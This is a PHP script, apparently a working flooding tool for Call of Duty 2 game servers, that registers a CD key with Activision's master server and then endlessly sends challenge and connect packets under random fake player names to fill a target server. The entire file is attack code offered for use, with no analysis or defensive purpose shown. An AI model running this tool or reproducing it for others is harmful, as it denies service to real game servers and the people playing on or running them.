<?php

    if (count($_SERVER['argv']) != 4) {
        die ("Error: Must run tool like: file.php server port cdkey\n");
    }

    //variables
    $masterserver = "cod2master.activision.com";
    $masterserverport = "20700";
    $server = $argv[1];
    $port = $argv[2];
    $cdkey = $argv[3];
    $cdkeypart = substr($cdkey, 0, 16);
    $pbguid = "123456789abcdef1234567890abcdefa";
    $masterstring = "\xff\xff\xff\xffgetKeyAuthorize 0 " . $cdkeypart . " PB " . $pbguid;
    $serverstring = "\xff\xff\xff\xff" . 'getchallenge 0 "' . $pbguid . '"';

    //Send master server the key once. If needed again, it will be sent again automatically
    $udpmaster = fsockopen("udp://" . $masterserver, $masterserverport);
    fwrite($udpmaster, $masterstring);

    //start sending fake players, infinite loop
    while(TRUE){
        $fakeplayer = random_letters();
        $udpfirst = fsockopen("udp://" . $server, $port);
        fwrite($udpfirst, $serverstring);
        stream_set_timeout($udpfirst, 1);
        $udpfirstresponse = ''.fread($udpfirst, 1400);
        $udpfirstinfo = stream_get_meta_data($udpfirst);
        if ($udpfirstinfo['timed_out']) {
            echo("T");
            continue;
        }

        if(substr($udpfirstresponse, 0, 21) != "\xff\xff\xff\xffchallengeResponse"){
            if(md5($udpfirstresponse) == "d41d8cd98f00b204e9800998ecf8427e"){
                echo("?");
                continue;
            }

            if($udpfirstresponse == "\xff\xff\xff\xfferror\x0aEXE_ERR_CDKEY_IN_USE"){
                echo("I");
                continue;
            }

            if($udpfirstresponse == "\xff\xff\xff\xffneedcdkey"){
                fwrite($udpmaster, $masterstring);
                echo ("N");
                continue;
            }

            echo "\nUnhandled reply after requesting challenge: " . $udpfirstresponse . "\n";
            continue;
        }

        $challenge = substr($udpfirstresponse, 22, 20);
        $connectstring = "";
        $connectstring = ("\xff\xff\xff\xff" . 'connect "\\cg_predictItems\\1\\cl_anonymous\\0\\cl_punkbuster\\1\\cl_voice\\1\\cl_wwwDownload\\1\\rate\\25000\\snaps\\20\\name\\' . $fakeplayer . '\\protocol\\118\\challenge\\' . $challenge . '\\qport\\' . rand(10000, 65534) . '"');
        fwrite($udpfirst, $connectstring);
        $finalresponse = ''.fread($udpfirst, 1400);
        if ($finalresponse != "\xff\xff\xff\xffconnectResponse"){
            if($finalresponse == "\xff\xff\xff\xfferror\x0aEXE_SERVERISFULL"){
                echo("F");
                continue;
            }
            if($finalresponse == "\xff\xff\xff\xfferror\x0aEXE_BAD_CHALLENGE"){
                echo("C");
                continue;
            }
            if(md5($finalresponse) == "d41d8cd98f00b204e9800998ecf8427e"){
                echo("?");
                continue;
            }

            echo ("\nUnhandled reply after sending the connect string: " . $finalresponse . "\n");
            continue;
        }
        echo ".";
    }


function random_letters($numofletters=8){
    $v="";
    for($i=0;$i<$numofletters;$i++) $v.=chr(rand(65,90));
    return $v;
}

?>